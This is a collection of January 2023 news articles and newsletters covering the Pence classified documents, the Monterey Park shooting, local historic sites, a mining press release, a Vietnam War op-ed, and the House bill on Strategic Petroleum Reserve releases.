Shira Doron, chief infection control officer for Tufts Medicine in Boston, said the new dominant strain was not really such a big deal in her area. According to Doron, her hospital has seen a modest increase in new admissions, though she noted that most of the patients who test positive for coronavirus are not being admitted due to a COVID-19 infection but because of another ailment.



I do feel like were in a really good place. I want to make sure that we dont lose access to testing, we dont lose access to treatment, Doron said, adding that there is still work to be done when it comes to ensuring access to effective medications to treat COVID-19.

Read more here.





HAT WERE READING

Three years on, the pandemic  and our response  have been jolting. Heres what even the experts didnt see coming (Stat)

Justice Department investigating troubled infant formula plant (The New York Times)

An unprecedented pandemic of avian flu is wreaking havoc on the U.S. poultry industry (Fortune)





STATE BY STATE

Kindergarten vaccination rates drop in all but 3 WA counties (The Seattle Times)

Transgender people in rural America struggle to find doctors willing or able to provide care (Kaiser Health News)

Tennessee says its cutting federal HIV funding. Will other states follow? (NBC News)





THE HILL OP-EDS

A Roe requiem and a road to a brighter future





Thats it for today, thanks for reading. Check out The Hills Health Care page for the latest news and coverage. See you tomorrow.

For the latest news, weather, sports, and streaming video, head to The Hill.
After a 25-year run, Lake Forests Wildlife Discovery Center is set to close in the months ahead, with some residents disappointed the city did not find a way to keep it going.

On Jan. 20, Lake Forest announced the center, which opened in 1998, will shut down operations in March upon the retirement of the centers longtime curator Rob Carmichael.

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The city decided that it would be best to end on a high note, and we can remember the Wildlife Discovery Center and what it has meant to the community, and then close the doors to see what happens next, city spokeswoman Dana Olson said.

The center at one time drew 30,000 visitors per year, including field trips for schoolchildren, but attendance has decreased in recent years due in part to the coronavirus pandemic, according to city officials.

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Director of the Wildlife Discovery Center, Rob Carmichael with "Odie" the North American River Otter at Elawa Farm in Lake Forest, Wednesday, Nov. 17, 2021. (Antonio Perez/ Chicago Tribune) (Antonio Perez / Chicago Tribune)

We have been stressed quite a bit, Carmichael said.

The center had a $230,000 annual operating budget in the most recent fiscal year, with roughly $180,000 coming from private donations, according to Olson. Carmichael was the lone full-time staffer, along with several part-time employees  many being high school students  and interns.

While lauding Carmichael for his run as curator, which was a main segment of his 38-year career with the city, some local residents are frustrated with the citys decision to close the center, which was part of the Lake Forests Parks and Recreation Department.

What I would have preferred is for the Parks and Recreation board to give us a plan for succession for Rob, said Steve Ballen, who volunteers at the center. I would have preferred enough time to work on the funding piece of it, too. I dont think it happened.

Lake Forest resident Martha Collins Zeeman spoke of how her children worked summers at the center and thought it was a great place for children to learn about animals. She also thought the city could have taken additional steps to keep the facility open.

Petting a turtle is, in pink jacket, Avni Kane, 2, of Highland Park at CROCtoberfest on Oct. 6, 2019 in Lake Forest at the Wildlife Discovery Center. (Karie Angell Luc / Lake County News-Sun)

Im sure they have explored some things, but I think if they had cast their net further  or at least indicated what it would take to save it, she said. I think people would have stepped up.

Those are things that would have been nice to know they had investigated and thought about it, Zeeman added. Maybe they did, but it doesnt come across that way.

OIson countered that the decision to close was not just financial, as city staff were concerned about the long-term sustainability of the center, as curators are not easy to find and there was an anticipation of the hiring of more than one person to replace Carmichael.

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Looking ahead  it did not seem a long-term sustainable model to follow, she said.

The center is set to close on March 24, with Olson saying conversations are ongoing among city staff on the future of the 3,000-square-foot facility at Elawa Farms, its home since 2000. She said a decision is expected over the next few months.

We are just trying to find the best use for that space, she said.

Emma Jannone, 3, pets "Elvira," a reticulated python, during the "Reptile Rampage," a fundraiser for the Wildlife Discovery Center, at the Lake Forest Recreation Center on March 12, 2017. (Brian O'Mahoney / Pioneer Press)

Carmichael said the center has about 350 animals, far more than the two snakes and a lizard he started out with in 1998.

In his last weeks on the job, he is working to locate new homes for the collection at facilities throughout the United States, noting arrangements have already been made for many of the centers birds to go Barringtons Flint Creek Wildlife Rehabilitation.

Carmichael is retiring as he and his wife own a home in another state. He said they want to be closer to his children and grandchild.
Republican senators were surprised to learn about the discovery of classified material at the Indiana home of former Vice President Mike Pence, in yet another twist involving top U.S. government officials and their handling of sensitive documents.

What the heck? Sen. Tommy Tuberville (R-Ala.) said to reporters after CNN first broke the news Tuesday.

I dont get it, added Sen. John Cornyn (R-Texas), who often handles classified information as part of his job serving on the Senate Intelligence Committee.

Anybody that deals with classified materials knows they have to be maintained in a secure place and not be available to our adversaries by putting them into a place thats easily penetrated. So, its not good, Cornyn added.

Pences lawyers discovered a small number of documents with classification markings that were inadvertently boxed and transported to his home after his tenure as vice president, according to an attorney for Pence.

Pence was unaware of their existence, the attorney said, and his legal team handed them over voluntarily to the National Archives and Records Administration  an approach that stands in sharp contrast to how former President Donald Trump and his team refused for months to return classified material located at his Mar-a-Lago estate in Florida. Trump has also compared the FBI agents who conducted a search of his estate to Nazi Germanys secret police.

The news of Pences documents comes after the discovery of classified material at President Joe Bidens home and offices, including from his time as a senator. The Justice Department has appointed a special prosecutor to look into Bidens handling of documents with classified markings, with the White House maintaining that their misplacement was inadvertent.

But the fact that at least three top U.S. officials of both major parties had apparently mishandled classified information generated astonishment on Capitol Hill  as well as plenty of jokes.

Story continues

I can understand the president having documents  but a vice president or a senator? I mean, youre not that important. Come on, Tuberville told HuffPost when asked about the Pence revelation.

Its either incompetence, not paying enough attention, or youre doing it on purpose, he added.

What the hells going on around here? Sen. Marco Rubio (R-Fla.), another Senate Intelligence Committee member, told reporters when asked for his reaction to the news. He cited a systemic problem within the executive branch over the handling of classified information.

Sen. Mitt Romney (R-Utah) quipped that his attorneys had gone through my files and have found Jimmy Hoffas remains, referring to wild conspiracy theories about the labor union bosss disappearance in 1975.

Sen. Kevin Cramer (R-N.D.) suggested former Vice President Dan Quayle may have to do a thorough search of his belongings, and Sen. Lindsey Graham (R-S.C.) said the only thing I think youll find at my house is a bunch of Chick-fil-A bags on the floor.

Jests aside, multiple senators also suggested reexamining the government classification process because of a tendency to overclassify information, as well as reviewing the way in which officials interact with sensitive documents.

I just cant explain it, Sen. Dick Durbin (D-Ill.) said. If its a shabby staff work, so be it. But ultimately, the elected officials have to be held responsible.

The revelation that Pence kept classified documents at his home has undercut weeks of Republican attacks against Biden. Some House GOP lawmakers had even suggested that the president violated the Espionage Act.

Rep. Mike Turner (R-Ohio), the chairman of the House Intelligence Committee, said he planned to seek an intelligence review and damage assessment of the classified documents from Pences home, as he did for those found in Bidens home and offices, to check for possible national security concerns.

It is a serious matter for any government official to mishandle classified documents, Turner tweeted.
A memorial grows outside the Montery Park Dance Studio Shooting Site

People have begun to leave flowers, candles, and other items at the Star Dance Studio in Monterey Park, Calif., for the victims of the mass shooting Monday, January 23, 2023. Credit - David CraneMediaNews Group/Los Angeles Daily News/Getty Images

The nation is reeling from yet another mass shooting, this time in the small town of Monterey Park, Calif., where eleven victims died and another nine were injured on Jan. 21 following the citys Lunar New Year festival.

Members of the majority-Asian American community in Southern California were shocked and devastated to see a time of celebration where tens of thousands had gathered transpire overnight into a moment of sorrow as people mourn and honor the lost lives.

Violence of this nature is always meant to frighten and instill fear in the community and those who want to sell these things. And if we let that fear take over then we let them win, Council Member Thomas Wong told TIME. But as a community, he added, we can still come together and [be] resilient.

Here are some ways you can support the Monterey Park community.

Donate to a verified, event-specific GoFundMe fundraiser

GoFundMe has a centralized hub with verified fundraisers for people affected by the Monterey Park shooting. There are currently three fundraisers in the hub, though more may be added by GoFundMes Trust & Safety team.

The Los-Angeles based nonprofit Classroom of Compassion is raising funds to make 11 public altars to honor the lives of those lost. The organization says it will set up a pop-up space on-site where mourners will be able to leave flowers, notes, or paintings to add to the memorial. We hope to provide art resources that promote healthy and safer expression of intense emotional experiences, the fundraiser description said.

A team of nonprofits and organizations including the Asian Americans Advancing Justice Southern California, Gold House, and others have set up a fundraiser with a $500,000 donation goal, to support the many individuals who are now suffering from this senseless violence.

Story continues

And another fundraiser was organized on behalf of Mary Ma, the daughter of Ming Wei Ma, who was the owner of Star Dance Studio and one of the victims of the shooting. The fundraiser, which has already surpassed its initial goal of $30,000, was established to help the family cover funeral costs.

Donate to other organizations addressing related issues

While the motive of the shooters actions remains unknown, there are multiple organizations dedicated to serving the Asian American and Pacific Islander communities.

Stop AAPI Hate, for instance, was created in response to a wave of xenophobia that stemmed from the COVID-19 pandemic. The organization uses funds to help track and respond to any hate or harassment faced by the community.

Changing Tides, a program of the Little Tokyo Service Center based in Los Angeles, seeks to normalize mental health in the Asian American community, through events and other outreach programs. Founded in 2018, it hosts walks for suicide prevention, peer specialist training for trauma informed care, and more. Consider donating here.

Donations to both organizations are U.S. tax deductible.

Visit a public memorial

The Monterey Park City Hall has a memorial at 320 W. Newmark Avenue for the community to mourn, a press release on the citys website said.

Other makeshift memorials have been placed throughout the city, with candles, flowers. and balloons decorating locations like the entrance to the dance hall where the gunman opened fire.

If you are seeking help, you can also visit the Survivors Resource Center at Monterey Parks Langley Senior Center. The center is offering counseling and legal assistance. Please call (626) 307-1395 for more information.
To view past editions of The Hills 12:30 Report, click here: https://bit.ly/30ARS1U

To receive The Hills 12:30 Report in your inbox, please sign up here: https://bit.ly/3qmIoS9

> A midday take on whats happening in politics and how to have a sense of humor about it.*

*Ha. Haha. Hahah. Sniff. Haha. Sniff. Habreaks down crying hysterically.

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TALK OF THE MORNING

What if instead of paying various taxes, we *just* paid a 30 percent sales tax?:

A group of House conservatives are considering a controversial, old proposal to do away with the current tax system and essentially abolish the IRS.

The gist: Instead of income taxes, payroll taxes and estate taxes, Americans would pay a hefty 30 percent sales tax on all purchases.

The gist of the arguments for and against the plan: Proponents say it will hugely simplify the tax code. It would put the burden on the government to collect taxes, not individuals. Critics, however, point out it would make necessities (groceries, cars, etc.) *much* more expensive. Critics also say it would benefit the wealthier in the U.S., who can save a higher percentage of their untaxed income.

A caveat: Because this system would give a tax advantage to wealthier Americans, the bill includes a cash payout to low-income Americans to offset the burden. That leaves middle class Americans, who dont benefit from either, to face the biggest burden.

Who is behind the bill?: Rep. Buddy Carter (R-Ga.) introduced the bill, and 30 other Republicans support the bill.

Does it have a chance of becoming law?: Eh, not really. Democrats control the Senate and the White House.

The Hills Tobias Burns wrote a helpful explainer on the logistics and details of this proposal

A CRITICAL PERSPECTIVE ON THE PROPOSAL:

Story continues

Anti-tax activist Grover Norquist, president of Americans for Tax Reform, wrote in The Atlantic:

A National Sales Tax Is a Terrible Idea: A handful of House Republicans want to force a vote on it. Thats just a free gift to Democrats. Read his take

Happy Tuesday! Im Cate Martel with a quick recap of the morning and whats coming up. Did someone forward this newsletter to you? Sign up here.

 Breaking

Omg, can we please host a How To Handle Classified Docs seminar for presidents and vice presidents?!:

Documents with classified markings were found at former Vice President Mike Pences Indiana home last week, officials confirmed Tuesday.

What we know: Pences team notified the National Archives on Jan. 18 that a small number of documents were inadvertently boxed and transported to the former vice presidents home at the end of the last administration. Pence was unaware of the existence of sensitive or classified documents at his personal residence, his lawyer wrote to the Archives.

CNNs Jamie Gangel, Jeremy Herb and Evan Perez broke the news. The full CNN report

 Happening on Capitol Hill

Some angry Swifties would like an explanation:

The Senate Judiciary Committee is holding a hearing today on the Ticketmaster debacle for the ticket release of her upcoming tour.

Watch live  it began at 10 a.m.

Who is testifying?: Joe Berchtold, the president and CFO of Live Nation, the parent company of Ticketmaster  and SeatGeek CEO Jack Groetzinger. Full list of witnesses

CNN Business explainer on the Ticketmaster ordeal over Taylor Swifts tour

HOW A TAYLOR SWIFT TOUR THRUST ANTITRUST CONCERNS INTO THE SPOTLIGHT:

From The Hills Rebecca Klar

 In Congress

Weve heard a lot of DC opinions about George Santos, but what do the voters who elected him think?:

In interviews with The Washington Post over several days, residents who supported Santos said they both regretted their choice and were resigned to his status as a member of Congress. But the prevailing sentiment, among both Republicans and Democrats, was raw anger and a sense of being cheated.

Full read from The Washington Posts Camila DeChalus

House Democrats rn:

House Democrats are itching for a fight with the new GOP majority over who should qualify for committee assignments, tapping Reps. Adam Schiff (Calif.) and Eric Swalwell (Calif.) to sit on the Intelligence Committee in the face of Republican vows to keep them off of the powerful panel.

^ Plus: A similar collision is likely to play out in a separate arena over Rep. Ilhan Omar, the third-term Minnesota lawmaker who is expected to be named by Democrats this week to the House Foreign Affairs Committee, despite GOP promises to boot her from the panel.

Why Democrats think they can win this political battle: Democrats are pointing to Rep. George Santos (R-N.Y.), by name (!), who was appointed to committees despite swirling controversies over fabrications and questions about his finances.

What committees was Santos appointed to?: The House Small Business panel and the Science, Space and Technology Committee

Whats ironic in this process: Committee assignments are traditionally a fairly mundane, uneventful process. But that changed in 2021 when Dems stripped Reps. Marjorie Taylor Greene (Ga.) and Paul Gosar (Ariz.) of their committee assignments.

The brewing battle between Dems and the GOP over committee assignments, via The Hills Mike Lillis

TIDBIT ABOUT MANCHINS 2024 PLANS:

Sen. Joe Manchin (D-W.Va.), who is up for reelection in 2024, told NBCs Meet the Press that everythings on the table when he comes to his next political move.

Why this is big: Senate Democrats are eager for him to commit to running for reelection. It could be difficult to keep that seat blue if Manchin bows out.

In the White House

Biden is metaphorically retweeting his message:

President Biden called for an assault weapons ban this morning after Mondays shootings in Half Moon Bay, Calif., that killed seven people.

Biden said in a statement: Even as we await further details on these shootings, we know the scourge of gun violence across America requires stronger action. I once again urge both chambers of Congress to act quickly and deliver this Assault Weapons Ban to my desk, and take action to keep American communities, schools, workplaces, and homes safe.

What we know about the Half Moon Bay shootings

^ Just a few days ago: 10 others were killed and another 10 were injured on Saturday when a gunman opened fire at a Lunar New Year celebration in Monterey Park, Calif. What we know about the Monterey Park shooting

FROM THE NEW YORK TIMES:

In the first few weeks of 2023, at least 69 people have been killed in mass shootings across the country, including two shootings within days of each other in California.

Full story from The New York Timess J. David Goodman, Amy Harmon and Adeel Hassan

 The COVID-19 numbers

Cases to date: 101.8 million

Death toll: 1,099,866

Current hospitalizations: 17,289

Shots administered: 667 million

Fully vaccinated: 69.1 percent of Americans

CDC data here.

 Notable tweets

I wholeheartedly agree:

Bairds Michael Antonelli tweeted, Why does coffee taste better in this kind of mug? Photo of the mug in question

The tweet has more than 8,000 likes so far, so clearly others agree.

 On tap

The House and Senate are in. President Biden and Vice President Harris are in Washington, D.C.

10:15 a.m. : Biden and Harris received a daily briefing.

3 p.m. : Biden hosts Democratic congressional leaders to the White House. Harris also attends.

5:20 p.m. : Biden and Harris host new members of Congress for a reception at the White House.

6:30 p.m. : The House votes. Todays House agenda

Jan. 26 : The Hill is hosting a virtual event, Expanding Adult Vaccine Access. Details and how to RSVP

Jan. 27: The Hills Sylvan Lane sits down with Heather Boushey, a member of the Presidents Council of Economic Advisors, for a newsmaker event. Details and RSVPs

All times Eastern.

 What to watch

This morning : A Senate Judiciary Committee hearing on Ticketmaster and Taylor Swift s tour. C-SPAN livestream

1:30 p.m. : White House press secretary Karine Jean-Pierre holds a press briefing. Livestream

2 p.m. : Senate Republican leaders hold a press conference. Livestream

2:30 p.m.: Senate Democratic leaders hold a press conference. Livestream

 In lighter news

Today is National Peanut Butter Day!

Tell me more:



CNN Businesss Jackie Wattles writes that during a recent excursion to the icy plains of Antarctica, an international team of researchers discovered five new meteorites  including one of the largest ever found on the continent. Photo of the 17-pound meteorite

And because you made it this far, heres a pup taking its 15-minute break.

For the latest news, weather, sports, and streaming video, head to The Hill.
The days could be numbered for the historic Hoke House in Spring Grove.

The borough last week received an application for a demolition permit for the 1750s-era, Georgian-style house. It is expected to be approved, and if granted, the permit will be good for a year, borough manager Zach Gulden said.

Rutter's owns the structure, which is next door to its convenience store. The company had reached an agreement in 2014 with Friends of the Hoke House that gave preservationists three years to find someone to occupy the structure. It expired at the end of 2017 without any development.

The agreement called for preservationists to put forth no objection to whatever Rutter's decides to do with the house after it expired. The company has not commented about the permit or its plans.

"It's a shame that it can't be saved," Paul Nevin of the Friends of the Hoke House said last week.

The Hoke House on Monday looking north through the roundabout in Spring Grove. The borough received an application for a demolition permit for the 1750s-era, Georgian-style house.

The Hoke House sits along the roundabout on Route 116 in Spring Grove. It made Preservation Pennsylvania's 2017 list of most endangered historic resources.

Related:Rutter's won't renew agreement to save historic Hoke House in Spring Grove

Related:Friends show love to Spring Grove's Hoke House

The structure existed long before the borough of Spring Grove was founded, and in 2019, it was deemed eligible for the National Register of Historic Places, Nevin said. The group has posted a report on the historic structure on its website, hokehouse.com.

The original walls from the mid-18th century are still in there, he said. They are buried under the renovations made to the house over the years. Among the original features are hand-split wood lath and hand-wrought nails.

The house has served as a tavern, farmhouse and public library over the years. It played a role in both the Revolutionary and Civil wars.

"In essence, it belongs to the community," Nevin said.

The back of the Hoke House on Monday in Spring Grove. The borough received an application for a demolition permit for the 1750s-era, Georgian-style house.

Mayor Beverly Hilt said the borough has held its holiday tree lighting at the intersection for years, but "we knew this was possibly coming" with the Hoke House. The town started a Christmas parade during the coronavirus pandemic, and officials have been working with nearby municipalities to grow their celebrations and expand to other locations.

Story continues

She knows that some residents will be upset if the house is torn down. But it has been made available for years to try to save it.

"I know the community's going to miss that, but it is what it is," she said.

This article originally appeared on York Daily Record: Hoke House in Spring Grove could face demolition as permit applied for
Jan. 23FAIRMONT  Crews from The History Channel hit documentary series "American Pickers" are coming to West Virginia in search of unique relics.

According to a new release, crews plan to film episodes of television series throughout the area in March 2023.

The show explores the world of antique "picking" and follows skilled "pickers" in the business, as they hunt for America's most valuable antiques.

"They are always excited to find sizeable, unique collections and learn the interesting stories behind them. As they hit the back roads from coast to coast, the Pickers are on a mission to recycle and rescue forgotten relics," states the release.

As they travel the Mountain State, they are looking to meet residents who have remarkable and exceptional items. The goal of the "picking" is to give historically-significant objects a new life while learning a thing or two about America's past along the way.

"The Pickers have seen a lot of rusty gold over the years and are always looking to discover something they've never seen before. They are ready to find extraordinary items and hear fascinating tales about them," states the release.

Film traversing the state, film crew members will follow all guidelines and protocols for safe filming outlined by the state and U.S. Centers for Disease Control and Prevention.

"Nevertheless, we are excited to continue reaching the many collectors in the area to discuss their years of picking and are eager to hear their memorable stories," states the release.

The American Pickers TV Show is looking for leads and wants to explore your hidden treasure. They are looking for anyone who has a large, private collection or accumulation of antiques that the Pickers can spend the better part of the day looking through.

However, the Pickers do not pick stores, flea markets, malls, auction businesses, museums, or anything open to the public.

Story continues

Those interested, should send the film crew their name, phone number, location, and description of the collection with photos to americanpickers@cineflix.com or call 646-493-2184 or message them on Facebook at @GotAPick

"American Pickers" is produced by Cineflix Productions for The History Channel. New episodes air Mondays at 9 p.m. EST.

Reach Eric Cravey at 304-367-2523.
Perth, Australia --News Direct-- Hot Chili Limited

Perth, Australia - Hot Chili Limited (TSXV:HCH) (ASX:HCH) OTCQX:HHLKF) (the Company or Hot Chili) is pleased to announce that it will be attending the upcoming Vancouver Resource Investment Conference in Vancouver, Canada from January 29-30. Several members of the Hot Chili board and management team will be on the floor at Booth #334. In addition, the Company will be hosting a breakfast for conference participants at 7:30AM PST on Sunday, January 29, and will be giving a corporate presentation on Monday, January 30th at 2:10PM PST.

If you would like to attend the conference please visit the VRIC website here: VRIC Registration

Hot Chili has also released an updated corporate presentation which can be found on the companys website https://www.hotchili.net.au/VRIC

About Hot Chili

Hot Chili Limited is a mineral exploration company with assets in Chile. The Company's flagship project, Costa Fuego, is the consolidation into a hub of the Cortadera porphyry copper-gold discovery and the Productora copper-gold deposit, set 14 km apart in an excellent location  low altitude, coastal range of Chile, infrastructure rich, low capital intensity. The Costa Fuego landholdings, contains an Indicated Resource of 725Mt grading 0.47% CuEq (copper equivalent), containing 2.8 Mt Cu, 2.6 Moz Au, 10.4 Moz Ag, and 67 kt Mo and an Inferred Resource of 202 Mt grading 0.36% CuEq containing 0.6Mt Cu, 0.4 Moz Au, 2.0 Moz Ag and 13 kt Mo, at a cut-off grade of +0.21% CuEq for open pit and +0.30% CuEq for underground. (Refer to ASX Announcement "Hot Chili Delivers Next Level of Growth" (31st March 2022) and Technical Report NI 43-101 titled "Resource Report for the Costa Fuego Copper Project Located in Atacama, Chile", dated 13 May 2022). The Company is working to advance its Costa Fuego Project through a preliminary feasibility study (followed by a full FS and DTM), and test several high-priority exploration targets.

Story continues

Certain statements contained in this news release, including information as to the future financial or operating performance of Hot Chili and its projects may include statements that are "forwardlooking statements" which may include, amongst other things, statements regarding targets, estimates and assumptions in respect of mineral reserves and mineral resources and anticipated grades and recovery rates, production and prices, recovery costs and results, and capital expenditures and are or may be based on assumptions and estimates related to future technical, economic, market, political, social and other conditions.These forward-looking statements are necessarily based upon a number of estimates and assumptions that, while considered reasonable by Hot Chili, are inherently subject to significant technical, business, economic, competitive, political and social uncertainties and contingencies and involve known and unknown risks and uncertainties that could cause actual events or results to differ materially from estimated or anticipated events or results reflected in such forwardlooking statements.

Hot Chili disclaims any intent or obligation to update publicly or release any revisions to any forwardlooking statements, whether as a result of new information, future events, circumstances or results or otherwise after the date of this news release or to reflect the occurrence of unanticipated events, other than as may be required by law. The words "believe", "expect", "anticipate", "indicate", "contemplate", "target", "plan", "intends", "continue", "budget", "estimate", "may", "will", "schedule" and similar expressions identify forwardlooking statements.

All forwardlooking statements made in this news release are qualified by the foregoing cautionary statements. Investors are cautioned that forwardlooking statements are not a guarantee of future performance and accordingly investors are cautioned not to put undue reliance on forwardlooking statements due to the inherent uncertainty therein.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this news release.

Contact Details

Investor Relations

Graham Farrell

+1 416-842-9003

Graham.Farrell@harbor-access.com

Investor Relations

Jonathan Paterson

+1 475-477-9401

Jonathan.Paterson@harbor-access.com

Managing Director

Christian Easterday

admin@hotchili.net.au

Company Website

https://www.hotchili.net.au/investors/

View source version on newsdirect.com: https://newsdirect.com/news/hot-chili-to-participate-at-the-vancouver-resource-investment-conference-vric-january-29-30-944608388
The Vietnam Veterans Memorial (foreground) and Washington Monument (background) are seen in this general view at dawn. Monday, March 11, 2019, in Washington D.C. (AP Photo/Mark Tenally) (Mark Tenally/AP)

The Vietnam War officially ended on Jan. 27, 1973 with signing of the Paris Peace Accords. The governments of North Vietnam, South Vietnam and the United States, plus the revolutionary National Liberation Front (NLF, which included the military Viet Cong) were parties to the agreement.

The 50th anniversary of the event provides a benchmark for analysis. Intense, angry division among Americans over the war tore our country apart for many years.

Advertisement

The fading of that is a blessing. Yet accurate assessment of lessons can remain elusive, clouded by misconceptions and the passage of time.

Talented journalist Barton Swaim has conducted an informative interview with former Sen. Jim Webb, D-Va., published in The Wall Street Journal on Jan. 21-22. Webb served in Vietnam combat as a Marine Corps officer, was wounded and received the Navy Cross, Silver Star, Bronze Star and Purple Heart, among other medals.

Advertisement

Regarding military combat, Webb knows what hes talking about.

Webb emphasizes that most Vietnam veterans are proud of their service, in contrast to dominant popular imagery. Defense Secretary Robert McNamara, with his civilian quantitative analysts and the highly organized, well-funded, anti-war movement, are blamed for the ultimate failure of U.S. efforts to preserve South Vietnam.

Webb also emphasizes assassination teams sent to the South by Hanoi, targeting in particular village chiefs and social workers; and cites French journalist and scholar Bernard Falls important, reliable work.

McNamara, an extremely aggressive statistician-manager, fixated on quantitative measures of progress. Attrition was the order of the day; enemy body counts and weapons captured the measure of progress.

Body counts were often inflated. Pentagon politics and public relations corrupted information. As that war became ever more frustrating and controversial, critics seized on this problem. The aftermath of the war included a bitter lawsuit between Vietnam commander Gen. William Westmoreland and CBS News, which he accused of a biased documentary on the bloody numbers game.

But there is a more subtle and profound problem with the body-count approach. During Vietnam, U.S. Army iconoclasts such as Col. John Paul Vann argued that the McNamara measures were based on false premises. Given the enormous scale of American firepower, increasing body and weapons totals simply meant the enemy was growing in numbers. There were more targets to kill.

During McNamaras tenure at the Pentagon, officers who questioned the approach were not only summarily rejected, their careers were in jeopardy. Vann, ultimately vindicated, became extremely influential as a civilian official of the Agency for International Development, the important but politically unpopular U.S. foreign aid program.

Vann, a true warrior, still carried a weapon and ran military operations, literally unable to let go of this passion. He was killed in a helicopter crash late in the war.

Advertisement

Not surprisingly, the Vietnam War had profound impacts on the United States military, especially the Army. During the Eisenhower administration, pressures grew steadily not only to increase military spending, but to use our forces overseas more aggressively.

Lake County News Sun Twice-weekly News updates from Lake County delivered every Monday and Wednesday By submitting your email to receive this newsletter, you agree to our Subscriber Terms & Conditions and Privacy Policy >

Consequences included a large increase in defense spending under the new Kennedy administration. President John F. Kennedy and influential advisers became fascinated with notions of counterinsurgency. In Vietnam, however, the fighting ultimately became conventional.

War is unpredictable.

The same day the Paris Peace Accords were signed, Secretary of Defense Melvin Laird announced that the draft was ended, instituting the all-volunteer military. In consequence, our military forces can more easily be deployed into potentially dangerous situations.

In other words, involvement in wars became more likely.

Learn More: Bernard Fall, The Two Viet-Nams.

Advertisement

Arthur I. Cyr is author of After the Cold War  American Foreign Policy, Europe and Asia.

Contact acyr@carthage.edu
Democrats on the House Energy and Natural Resources committees blasted a Republican bill to restrict releases from the Strategic Petroleum Reserve (SPR) as reckless Tuesday, arguing it would limit the federal governments contingency options in times of crisis.

In a call with reporters Tuesday, House Energy and Commerce Committee ranking member Frank Pallone Jr. (D-N.J.) and House Natural Resources Committee ranking member Raul Grijalva (D-Aris.) joined Rep. Kathy Castor (D-Fla.), former chairwoman of the Select Committee on the Climate Crisis, in speaking out against the measure.

Castor called the limitations in the bill, which would require the government to increase the land leased for oil and gas development to make further oil withdrawals from the SPR, not smart.

There are too many contingencies in the world today, whether its war, supply chain problems [or] natural disasters to irrationally tie the hands of our commander in chief, Castor said. This Republican bill also would open up areas to drilling and pollution that should be off limits such as the eastern Gulf of Mexico, she added.

Pallone blasted the measure as reckless and not serious, adding that its hypocritical because releasing oil from this probe has been done by presidents of both parties for decades. Ive been here for 30 years, and theyve done it on both sides. So Republicans had no problems with it when they went there.

There are no restrictions on [the Department of Energys] emergency authorities included in H.R. 21. This bill would prevent one of our most important strategic assets from being abused by President Biden as an election-year gimmick to temporarily and artificially manipulate prices, Sean Kelly, a spokesman for Energy and Commerce Committee Chairwoman Cathy McMorris Rodgers, told The Hill in an email. If the President declares an emergency resulting from an energy supply disruption, the Secretary has full authority to utilize the SPRHR 21 will not change or hamper that.

Story continues

Energy Secretary Jennifer Granholm said earlier this week that President Biden would veto the bill if it reaches his desk, which is unlikely due to the Senates Democratic majority.

The Energy Department has sold more than 132 million barrels from the SPR since 2017, including 7 million as part of a Trump-era tax cut bill and 30 million as part of the 2018 Bipartisan Budget Act.

In March 2022, as U.S. gas prices spiked following the Russian invasion of Ukraine, the Biden administration announced a daily release of 1 million barrels a day over the next 180 days.

Updated at 4:49 p.m.

For the latest news, weather, sports, and streaming video, head to The Hill.
House Republicans are planning a vote this week to rein in the Biden administration when it comes to the nation's Strategic Petroleum Reserve (SPR).

The bill would link releases from the crucial energy backstop to U.S. domestic oil production. Other than during an emergency situation, a president wouldnt be able to tap the reserve unless it simultaneously released a plan to increase oil production in the U.S.

The effort isnt expected to be enacted or gain much bipartisan support, but it could nevertheless kickstart a simmering debate about the proper management of the SPR that has economic and national security implications with the reserve currently hovering at its lowest level since 1983.

The administration has been mugged by reality over the last year and a half, said Robert McNally, founder of the Rapidan Energy Group and former energy advisor to former President George W. Bush.

While theres bipartisan blame to go around for the state of the SPR, including previous administrations as well as Congress, McNally said, the Biden administration, to its credit, has begun to turn the boat around and start to focus people on the need to refill the SPR.

The Biden administration made a first big withdrawal from the SPR starting in Nov. 2021 of 50 million barrels in response to high gas prices. It followed up with over 180 million barrels over the course of 2022 in the wake of the invasion of Ukraine. Those were in addition to other scheduled regular withdrawals, and cycling of the SPR.

Last month, the administration announced plans to begin replenishing the reserve, but rejected some initial offers because of pricing, with crude oil currently above $80/barrel.

"It certainly is a tricky situation when you are trying to replenish what you took out at prices that are not necessarily beneficial," Charles Schwab Chief Investment Strategist Liz Ann Sonders noted on Tuesday.

Still, Energy Secretary Jennifer Granholm told reporters on Monday she is not worried about reaching the administrations goal of buying 60 million barrels in the coming months, teasing an announcement that she promised very soon.

Story continues

A push to make the SPR solely for true energy supply disruptions

Rep. Cathy McMorris Rodgers (R-WA), speaking, is the new chiar of the House Energy and Commerce Commitee. (Kevin Dietsch/Getty Images)

Meanwhile, the newly empowered House Republicans plan to introduce their three-page bill as early as Wednesday, promising to offer it under a modified-open rule  Washington-speak for allowing lawmakers to freely propose amendments.

This weeks vote follows a Jan. 12 vote around the SPR and China, which received wide bipartisan backing, a feat that is not expected to be repeated this week.

Partisan positions of both sides are clear with House Energy and Commerce chair Cathy McMorris Rodgers (R-WA) recently accusing Biden of "draining our strategic reserves for political purposes" instead of in response to a true emergency. The White House has staunchly defended its approach, including releases intended to provide relief at the pump.

The actual picture appears to be more nuanced.

I'm a Republican, I have a high threshold for using SPR, and I could be critical as anybody, said McNally, adding that when it came to Russias invasion of Ukraine, I tell my Republican friends, look, there was a legitimate reason to order a release then because of that perceived risk.

But McNally draws the line at the earlier 2021 release of 50 million barrels  before the invasion of Ukraine  in order to address gas prices.

That first release goes in the hall of infamy of politicized SPR releases, McNally said.

A maze of crude oil pipe and equipment is seen with the American and Texas flags flying in the background during a tour by the Department of Energy at the Strategic Petroleum Reserve in Freeport, Texas, U.S. June 9, 2016. REUTERS/Richard Carson

Could the SPR become 'useless?'

Biden himself is set to respond forcefully to this weeks energy debate with a speech planned Thursday in Virginia to again focus on the the House GOP agenda, which he has called fiscally demented.

Already, the White House has promised a veto of this weeks bill in the unlikely event it ever reaches Biden's desk, saying it would raise gas prices and tie the hands of future presidents.

Meanwhile, House Democrats re-introduced their own bill last week called the Buy Low and Sell High Act that would allow the SPR to be used more directly to combat high prices at the pump.

But the Capitol Hill debate  and high likelihood of gridlock  comes amid concerns that the Biden administration could be pressured to further deplete the reserve if, as some expect, oil prices rise again in 2023.

Prices are likely to head higher  at least in the spring  which could bring the national average back above $4 a gallon, according to Patrick De Haan, GasBuddys head of petroleum analysis. Whether prices keep going up is really going to be contingent on if refineries are able to meet demand [from places like China] and what Americans do this summer, De Haan recently told Yahoo Finance.

